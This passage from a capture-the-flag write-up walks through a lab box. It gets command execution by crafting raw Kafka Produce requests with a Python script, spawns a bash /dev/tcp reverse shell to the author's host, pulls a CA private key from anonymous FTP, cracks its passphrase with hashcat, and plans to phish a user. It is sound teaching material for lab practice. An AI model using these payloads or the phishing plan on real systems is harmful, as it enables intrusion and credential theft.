    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174327570.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174327570.png" alt="image-20260417174327570" class="include_image " />
</picture>

<p>I’m giving it the hex encoded string “Testing!”. When I send, it hits <code class="language-plaintext highlighter-rouge">nc</code> on my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'Right back at you!'</span> | nc <span class="nt">-lnvp</span> 8000
<span class="go">Listening on 0.0.0.0 8000
Connection received on 10.129.25.147 50760
Testing!
^C
</span></code></pre></div></div>

<p>And the response shows up in hex on the web UI:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174551429.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174551429.png" alt="image-20260417174551429" class="include_image " />
</picture>

<p>That data decodes back to “Right back at you!”. This data provides a way to send any raw data to any service I want, which will be quite useful.</p>

<h4 id="blog-1">Blog</h4>

<p>The blog has two posts, just as I noted <a href="#blog">above</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174644639.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174644639.png" alt="image-20260417174644639" class="include_image " />
</picture>

<p>Nothing new here.</p>

<h3 id="rce">RCE</h3>

<h4 id="strategy">Strategy</h4>

<p>As I noted in the source code analysis, the dns container subscribes to the Kafka topic <code class="language-plaintext highlighter-rouge">update</code> and pipes every message directly into <code class="language-plaintext highlighter-rouge">bash -c</code>. The Kafka broker has no authentication. So anyone who can reach <code class="language-plaintext highlighter-rouge">kafka:9092</code> on the Docker network and publish to the <code class="language-plaintext highlighter-rouge">update</code> topic gets command execution as the <code class="language-plaintext highlighter-rouge">user</code> account inside the <code class="language-plaintext highlighter-rouge">dns</code> container.</p>

<p>The Debug port tool gives me exactly that reach. It opens a raw TCP socket to any <code class="language-plaintext highlighter-rouge">host:port</code> on the Docker network and sends hex-encoded bytes. To exploit it, I need to craft a valid Kafka Produce request in raw binary that publishes a shell command to the <code class="language-plaintext highlighter-rouge">update</code> topic.</p>

<h4 id="kafka-protocol">Kafka Protocol</h4>

<p>I’ll use the <a href="https://kafka.apache.org/42/design/protocol/">Kafka docs</a> plus a lot of Claude to build an understanding of the Kafka wire protocol:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[4-byte size][request header][produce body]

Request header: api_key(2) + api_version(2) + correlation_id(4) + client_id(2+N)
Produce body: required_acks(2) + timeout(4) + topic_count(4) +
  topic_name(2+N) + partition_count(4) +
  partition_id(4) + message_set_size(4) +
  offset(8) + message_size(4) +
  crc(4) + magic(1) + attributes(1) + key_len(4) + value_len(4) + value(N)
</code></pre></div></div>

<p>Rather than build this by hand, I’ll use a short Python script to generate the hex payload:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">binascii</span>
<span class="kn">import</span> <span class="n">struct</span>
<span class="kn">import</span> <span class="n">sys</span>


<span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">:</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">usage: </span><span class="si">{</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> &lt;cmd&gt;</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">kafka_produce_hex</span><span class="p">(</span><span class="n">topic</span><span class="p">,</span> <span class="n">message</span><span class="p">):</span>
    <span class="n">value</span> <span class="o">=</span> <span class="n">message</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>

    <span class="c1"># Message v0: magic=0, attributes=0, key=null, value=command
</span>    <span class="n">msg_body</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;bb</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
    <span class="n">msg_body</span> <span class="o">+=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">msg_body</span> <span class="o">+=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">value</span><span class="p">))</span> <span class="o">+</span> <span class="n">value</span>
    <span class="n">crc</span> <span class="o">=</span> <span class="n">binascii</span><span class="p">.</span><span class="nf">crc32</span><span class="p">(</span><span class="n">msg_body</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span>
    <span class="n">full_msg</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;I</span><span class="sh">'</span><span class="p">,</span> <span class="n">crc</span><span class="p">)</span> <span class="o">+</span> <span class="n">msg_body</span>

    <span class="c1"># MessageSet: offset=0 + message
</span>    <span class="n">msg_set</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;q</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">full_msg</span><span class="p">))</span> <span class="o">+</span> <span class="n">full_msg</span>

    <span class="c1"># Partition 0
</span>    <span class="n">partition</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">msg_set</span><span class="p">))</span> <span class="o">+</span> <span class="n">msg_set</span>

    <span class="c1"># Topic
</span>    <span class="n">topic_b</span> <span class="o">=</span> <span class="n">topic</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>
    <span class="n">topic_data</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;h</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">topic_b</span><span class="p">))</span> <span class="o">+</span> <span class="n">topic_b</span>
    <span class="n">topic_data</span> <span class="o">+=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">partition</span>

    <span class="c1"># Produce request: acks=1, timeout=5000, 1 topic
</span>    <span class="n">body</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;hi</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">5000</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">topic_data</span>

    <span class="c1"># Header: api_key=0 (Produce), api_version=0, correlation_id=1, client_id="0xdf"
</span>    <span class="n">client</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">'</span><span class="s">0xdf</span><span class="sh">'</span>
    <span class="n">header</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;hhi</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;h</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">client</span><span class="p">))</span> <span class="o">+</span> <span class="n">client</span>

    <span class="n">request</span> <span class="o">=</span> <span class="n">header</span> <span class="o">+</span> <span class="n">body</span>
    <span class="nf">return </span><span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="nf">pack</span><span class="p">(</span><span class="sh">'</span><span class="s">&gt;i</span><span class="sh">'</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">request</span><span class="p">))</span> <span class="o">+</span> <span class="n">request</span><span class="p">).</span><span class="nf">hex</span><span class="p">()</span>

<span class="nf">print</span><span class="p">(</span><span class="nf">kafka_produce_hex</span><span class="p">(</span><span class="sh">"</span><span class="s">update</span><span class="sh">"</span><span class="p">,</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span>
</code></pre></div></div>

<p>Typically I try to start with something like <code class="language-plaintext highlighter-rouge">ping</code> to check for RCE before going for a full reverse shell, but as I know this is a container, it’s likely that <code class="language-plaintext highlighter-rouge">ping</code> isn’t installed (I could check the <code class="language-plaintext highlighter-rouge">Dockerfile</code> to be sure). I’ll go for a reverse shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run kafka_msg.py <span class="s1">'bash -i &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1'</span>
<span class="go">0000006e000000000000000100043078646600010000138800000001000675706461746500000001000000000000004200000000000000000000003666e0b9080000ffffffff0000002862617368202d69203e26202f6465762f7463702f31302e31302e31342e36312f34343320303e2631
</span></code></pre></div></div>

<h4 id="reverse-shell">Reverse Shell</h4>

<p>I’ll paste that into the Debug tool:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417214343088.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417214343088.png" alt="image-20260417214343088" class="include_image " />
</picture>

<p>On sending, I’ll get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.25.147 54338
bash: cannot set terminal process group (9): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
</span><span class="gp">user@7bfb70ee5b9c:/app$</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/app$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
bash: /root/.bashrc: Permission denied
</span><span class="gp">user@7bfb70ee5b9c:/app$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 sudo nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">sudo nc -lnvp 443
</span><span class="gp">                 ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen
</span><span class="gp">user@7bfb70ee5b9c:/app$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-tom_summers">Shell as tom_summers</h2>

<h3 id="enumeration-1">Enumeration</h3>

<p>This is clearly a Docker container as shown in the source, and it’s very stripped down. The user user’s home directory is completely empty:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/home/user$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 8
drwxr-xr-x 2 user user 4096 Oct 31  2024 .
drwxr-xr-x 1 root root 4096 Oct 31  2024 ..
</span></code></pre></div></div>

<p>There are very few binaries. No <code class="language-plaintext highlighter-rouge">nc</code>, <code class="language-plaintext highlighter-rouge">curl</code>, <code class="language-plaintext highlighter-rouge">wget</code>. There is <code class="language-plaintext highlighter-rouge">python3</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/home/user$</span><span class="w"> </span>which nc
<span class="gp">user@7bfb70ee5b9c:/home/user$</span><span class="w"> </span>which wget
<span class="gp">user@7bfb70ee5b9c:/home/user$</span><span class="w"> </span>which curl
<span class="gp">user@7bfb70ee5b9c:/home/user$</span><span class="w"> </span>which python3
<span class="go">/usr/bin/python3
</span></code></pre></div></div>

<p>The main app is in <code class="language-plaintext highlighter-rouge">/app</code> which contains a single file, <code class="language-plaintext highlighter-rouge">dns</code>. <code class="language-plaintext highlighter-rouge">file</code> isn’t installed, but the first four bytes match the ELF <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">file signature</a> 7f454c46:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/app$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'print(open("/app/dns", "rb").read(16).hex())'</span>
<span class="go">7f454c46020101000000000000000000
</span></code></pre></div></div>

<p>This is probably just the compiled rust binary from <a href="#dns">the source</a> (which I’ve already exploited by sending it a reverse shell).</p>

<p>There is a <code class="language-plaintext highlighter-rouge">/dns</code> directory with three files:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/dns$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">convert.sh  entries  hosts
</span></code></pre></div></div>

<p>I am able to get IPs for containers on the network with <code class="language-plaintext highlighter-rouge">dig</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>dig ftp +short
<span class="go">172.19.0.11
</span></code></pre></div></div>

<h3 id="strategy-1">Strategy</h3>

<p>I could upload a static <code class="language-plaintext highlighter-rouge">nmap</code> and start scanning the network, but because I have so much information from the source, I see a path to the next user already. If that doesn’t work, I can come back for more enumeration.</p>

<p>I know three important pieces of information from the <a href="#blog-1">blog posts</a>:</p>

<ul>
  <li>tom_summers hasn’t passed their phishing tests</li>
  <li>Phishing tests use Gitea as a lure.</li>
  <li>Users of the organization are taught to click on links if they are from an internal domain, using HTTPS, and have a certificate signed with the internal CA that is stored on FTP.</li>
</ul>

<p>I’ll use Kafka to create a DNS record, and grab the CA certificate and private key from FTP. Then I can phish tom_summers with a fake Gitea login page and capture their creds.</p>

<h3 id="recover-ca-keypair">Recover CA Keypair</h3>

<h4 id="ftp">FTP</h4>

<p>I’ll use Python’s built in FTP library to read files from the FTP server. This one liner will login and print a listing of what’s there:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.dir()'</span>                  
<span class="go">drwxrwxrwx    2 ftp      ftp          4096 Oct 31  2024 pub
</span></code></pre></div></div>

<p>A single directory named <code class="language-plaintext highlighter-rouge">pub</code> (which matches the <code class="language-plaintext highlighter-rouge">Dockerfile</code> <a href="#vsftpd">above</a>).</p>

<p><code class="language-plaintext highlighter-rouge">pub</code> has the certificate and private key:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub"); ftp.dir()'</span>
<span class="go">-rw-r--r--    1 ftp      ftp          1826 Oct 31  2024 RootCA.crt
-rw-r--r--    1 ftp      ftp          3434 Oct 31  2024 RootCA.key
</span></code></pre></div></div>

<p>I’ll use <code class="language-plaintext highlighter-rouge">ftp.retrlines</code> to read the files:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub"); print(ftp.retrlines("RETR RootCA.crt"))'</span>
<span class="go">-----BEGIN CERTIFICATE-----
MIIFFzCCAv+gAwIBAgIUVZjiESnop+nNu9rkWlbXORjlrc0wDQYJKoZIhvcNAQEL
...[snip]...
u5GqrPn8BMpsLs92Y/pMUtWbF3DcM8jn+hjL3owallYj2E9Md6mQ5pfI1+PiTvf/
udz+k7mYqIcCjsE=
-----END CERTIFICATE-----
226 Transfer complete.
</span><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub"); print(ftp.retrlines("RETR RootCA.key"))'</span>
<span class="go">-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI4I3iO1Zn5XkCAggA
...[snip]...
in0CLCi4ycZeT+dxcf82nMdhSzrwDckjuPRoppXZffgf
-----END ENCRYPTED PRIVATE KEY-----
226 Transfer complete.
</span></code></pre></div></div>

<p>I’ll save both copies on my host. I can also write copies to the DNS container with Python:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub"); ftp.retrbinary("RETR RootCA.crt", open("/tmp/RootCA.crt", "wb").write)'</span>
<span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span>python3 <span class="nt">-c</span> <span class="s1">'import ftplib; ftp=ftplib.FTP("ftp"); ftp.login(); ftp.cwd("pub"); ftp.retrbinary("RETR RootCA.key", open("/tmp/RootCA.key", "wb").write)'</span>
<span class="gp">user@7bfb70ee5b9c:/$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /tmp/RootCA.<span class="k">*</span>
<span class="go">-rw-r--r-- 1 user user 1826 Apr 18 11:11 /tmp/RootCA.crt
-rw-r--r-- 1 user user 3434 Apr 18 11:11 /tmp/RootCA.key
</span></code></pre></div></div>

<h4 id="crack-passphrase">Crack Passphrase</h4>

<p>I’ll note the header on the private key is <code class="language-plaintext highlighter-rouge">-----BEGIN ENCRYPTED PRIVATE KEY-----</code>. To use this key, I’ll need the passphrase. I’ll use <code class="language-plaintext highlighter-rouge">pem2john.py</code> to create a hash from it, except the format for <code class="language-plaintext highlighter-rouge">john</code> includes a couple extra fields. Hashcat’s mode 24420 (PKCS#8 private keys) hardcodes the algorithm triple and expects only the salt, iteration count, and ciphertext blob. <code class="language-plaintext highlighter-rouge">pem2john.py</code> emits those same fields but prefixes them with the literal <code class="language-plaintext highlighter-rouge">$pbkdf2$sha256$aes256_cbc</code> that hashcat doesn’t want, so I’ll use <code class="language-plaintext highlighter-rouge">cut</code> to drop fields 4-6 to match <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">the expected hashcat format</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>/opt/john/run/pem2john.py RootCA.key | <span class="nb">cut</span> <span class="nt">-d</span><span class="s1">'$'</span> <span class="nt">-f1-3</span>,7- | <span class="nb">tee </span>RootCA.key.hash
<span class="go">$PEM$2$4$e08de23b5667e579$2048$dc64a012052b346d6a4b68d1c08a56ce$2384$c28fedfaf2ea1ae2ddc892c811726bd8625369da0b6200ff000d21e86cc546d74e3e316bb4ac1d14ef05deaeb9edf99094868a340bcd7857ceaa1aa4170fd64d29b79bd7a8adfb1162cfb9b9006778d9c39e90f39278ecf77e55bd791e5fd6e704b56804bf20fd35ac756638c233fb42b8f66f63ab5609ccae31b7c435dd8c7f3bc8f0639003d6bce7831f4aeb1d351f7225260a4cd38442d633364c08787401491bc1fa2ed329e6b28dabd8433a4daca9c27051dbf343b799cbc6a96c4c991eb68cdd70da54cf68fe48ec609845858ba6fd481c30ea014ccddb1a8751a95b4ffd599bce2b94e9e73a7317e8490baf87ccaae8fd1e794bc307cf1669367df8769c7ede34cdeb8e6cb1443b3db4d38c995e3b0876edec1d42b5e6cb07d7220f652709ec3e5c24dc3ec212863576c8caad618e9852ede1291a6ec07c9472d4c7815e829efcd9a9da5c07fe496ac6ac7c1ec55eb48e8055e4416991f2ea8ed227fcb49d3bdda7d8d709c3c29d219b4c6d0343f0ef451b89024dc5d1b2115c2ffb488764a7b0d0127f34efd2b48494d2ce81ff1112e986cdd93c5cd029f9ab1ad5ce9a165d6b9a32f56545627716041b72cd0ab76976db6d5488cb3c28010f8b8fcb58ad94184436022384e7fc66182683420641f86326e0e87ea2056d533ee8d60c27ee6375facef1d4afd58d9296c5b862722b935a96977f6b2708666c9f68fe60e7183983ca2b0a27f722970c77aa57135a6500fca2a0590d94e1c95eadd439cc0b607faa78c93d6a5aa26798c50da687d7fa1a1dd2a21f46712b319396fe92393b05304e5e74a2fb9a14122a8015448b0c2221ac92c6bc24922a102dab7610d718f80bf8e1f25d255df980c59cbecbcbe7a0248db4c730ec6d13c30fc34d8a039ef8a6e10680c29c75b7b97f69c5e7e0b962f48d16dd6b25ecb478d29919b00a2a08a2aeb9d2d00bba8e3ef497b6002ffadbcd5a6cc701604ab2b8884f3d00d27cc8119a88ed8f19661986934c8adf6c30be687c72a45df28542d51a4b8ac1912b47746f2374de1af7640d208ed50dfc2b6de3b4f0ccbd12e5a64a2c1091aa5c2f78117eebe2b41f59c37f7caad56340f367a60d334f6f6faa0e5cb0e064fc5b5630deca101d8d56d19e0e4769ab1abbac6c48f010f51644b0d44b77dc493ba4fd44d9a3c00045f9840e182c58dfb994e90695787c09abf2c6c028628326934e08030d5fc98a326266ed7e5cc7bf6a0215e8b69818ee6599d174967900451e02f12ff8b98df8cafe06a4f78f3bdd9d64f2e1731542da1f1985b0bf87a4181dfa6115ff7b1ccb81c78bc3f7e096d6f875e75300609dcb24aa7b1807905df2dd8fd9d0d025952526000d70e4028b368b07c5ea4d5e3e0343d9a69818abc2d951576b765433622efc38855289e92ed055ef2aa9f5b5b4bc08ace06fa8969000c2b2a002483607ea180958fec3a51e35bd1ad339a0e4e6b4c1a024990f833672e752331d6827fc4f779256af563342be75a1b7ee1cd11b67d0a6df07ec0b30e5735718c03b5aed06e53a915233f81f3f50363c3613260feb97511d9a3a9253731c51c74e9ddc4f597c4106ed537759e51a044bf555d96e97e56713863ee14ae533eb651b0217ca29693407a0a0fe57a95c6c40de75f816bb5346cb68e1692a423144993c63c225f89152ea453ca162ee130328913f6e6e745e01ff3c2ca9a2c41ca0a0e4bd0d345baa8b4161e9b8cc5e7ce7e31794f67c0f871cd350d6188da0423adecc1b20766c4bd9bd67a0fd7620742096d0b9ad92003f74df0d2c0733ffdee54d3655403a91c0bfbc7b6d99fc20ad094503a458790ec0d76b57f1ddbbf986874245520b9cb2ef79c07e8b9640ddc5de426ea9a1316f66208ec2dfb03c6bd5fcf439d8087c01d6d9fddffa29845b8abbf314e5fa339fe957337b794225709368bcfcc11b9155c37ee97a108d0d8effda44b6d8805ad84584dfe12f92dbacf6f97cf24cfa8dcf19fc79a03264e22748976a84556aa811a06f5237820899acaa3c2212d07184767d2d2c4e15161de1e8117f4fee06f5b0bd2f183a6318e075a4fb214eb0becfa11a914f5e6a69a259ebd55f1db5901c9ca0ad04f2d1e972d96923ca99d034f887c403f7908b51566edfff25af42024cc589a8916869855bb5cd5d77ae01b5ce88faa65d6191d262efbe65e24d223b6adc7732694c79f99956848e8363162af268f1bb508afab569b39bd14b12c6e77a641d10f44cc5b3aeb27418e97f7baa553b1506e94ae470ddadf181c574cbc1a4ccd526c9e56bb354b2e7b275ee2de96df11e70f553602850ba0528cc79e105591875b2b5ca8353193c08b61ead284188b24779e290e1e6ae2fbe12a502fc45b876f84eb93ab83d4e87212cf1adfc578716bc771650b31fe3046042b24c577c09b0a72340e6edf638a1dcf7d512f45845a729f11fd3b8666822b8d1069198e9a3001afd0f6f25cd3faa792cde520a034b120595df3707039cb2a52998edce6902981120aa00197fda0b6bd4a13d2cde567500ada5bca9e63340c283c97dc115f6ca3eba5a691bb1c42c298aef7d369d3324956d7527325d8fd1e6b45113b63be6615c78981de2e5cb959d9ee2aefe9c7a7f0b5494b379a7f606cfe35cb9b4f57560618ce9f2b86496168539cdbdaed0faa9ec3e804ffc81c224ef11e1c43021823ff7362e0d234d502900b9dffa80d54e0b8343352af5822f92e0068b6ded27b76f1b4752e0c94333feb87bd9275d85694aed83333fbec85b8be664cdfe4ac849e898c22975ce1d7863e2e009deed1059e7e61ebb0fa9b60a89f9588e8a58f5b7964ff6144db12f5a219083911ff06f0a6bde809e51a19665274cf1c8c8fb799a15408fa64e1b5c0b8a32b6fe74e6d8f03c8f999c9113a5921cb60a433adb51a25fca7d41ad3c5488070d59191a844680ca475f7716b948331f87ed938c07f09381b21422a8c77a19e8bfb03760c92589545d3199fa902f73f1bc4cea6882bb15098357571b27c236d75f9bc345005b262bc195808910fe199aa76dceaaef98b1577cfb061bb3bb5bc8dc6ea8ad82507e395958d8c9a89d2fc78be3173644ad20c862738731ddb5f1e5126d1165b1989d97b8e1d3eaa1b36b6243c57b47c2bad9ad8ab58640a232522223c1d7fed95da5a6713920a0298f8a773e8ec781680f83be147f3e0392eaa205b54eed1bd9276ffb5b79ee11ab596d1a41b03bc95642981608df1d493bb2e4071294d119ca1c6e152e0c11f8754ace4a2c50ba67aae183c3a837b4b01201b32f0c9939306967a74c3ab837b9aefc4957268a7d022c28b8c9c65e4fe77171ff369cc7614b3af00dc923b8f468a695d97df81f
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hashcat</code> recognizes this hash format and cracks it with <code class="language-plaintext highlighter-rouge">rockyou.txt</code> in 14 seconds:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>hashcat RootCA.key.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
...[snip]...
$PEM$2$4$e08de23b5667e579$2048$dc64a012052b346d6a4b68d1c08a56ce$2384$c28fedfaf2ea1ae2ddc892c811726bd8625369da0b6200ff000d21e86cc546d74e3e316bb4ac1d14ef05deaeb9edf99094868a340bcd7857ceaa1aa4170fd64d29b79bd7a8adfb1162cfb9b9006778d9c39e90f39278ecf77e55bd791e5fd6e704b56804bf20fd35ac756638c233fb42b8f66f63ab5609ccae31b7c435dd8c7f3bc8f0639003d6bce7831f4aeb1d351f7225260a4cd38442d633364c08787401491bc1fa2ed329e6b28dabd8433a4daca9c27051dbf343b799cbc6a96c4c991eb68cdd70da54cf68fe48ec609845858ba6fd481c30ea014ccddb1a8751a95b4ffd599bce2b94e9e73a7317e8490baf87ccaae8fd1e794bc307cf1669367df8769c7ede34cdeb8e6cb1443b3db4d38c995e3b0876edec1d42b5e6cb07d7220f652709ec3e5c24dc3ec212863576c8caad618e9852ede1291a6ec07c9472d4c7815e829efcd9a9da5c07fe496ac6ac7c1ec55eb48e8055e4416991f2ea8ed227fcb49d3bdda7d8d709c3c29d219b4c6d0343f0ef451b89024dc5d1b2115c2ffb488764a7b0d0127f34efd2b48494d2ce81ff1112e986cdd93c5cd029f9ab1ad5ce9a165d6b9a32f56545627716041b72cd0ab76976db6d5488cb3c28010f8b8fcb58ad94184436022384e7fc66182683420641f86326e0e87ea2056d533ee8d60c27ee6375facef1d4afd58d9296c5b862722b935a96977f6b2708666c9f68fe60e7183983ca2b0a27f722970c77aa57135a6500fca2a0590d94e1c95eadd439cc0b607faa78c93d6a5aa26798c50da687d7fa1a1dd2a21f46712b319396fe92393b05304e5e74a2fb9a14122a8015448b0c2221ac92c6bc24922a102dab7610d718f80bf8e1f25d255df980c59cbecbcbe7a0248db4c730ec6d13c30fc34d8a039ef8a6e10680c29c75b7b97f69c5e7e0b962f48d16dd6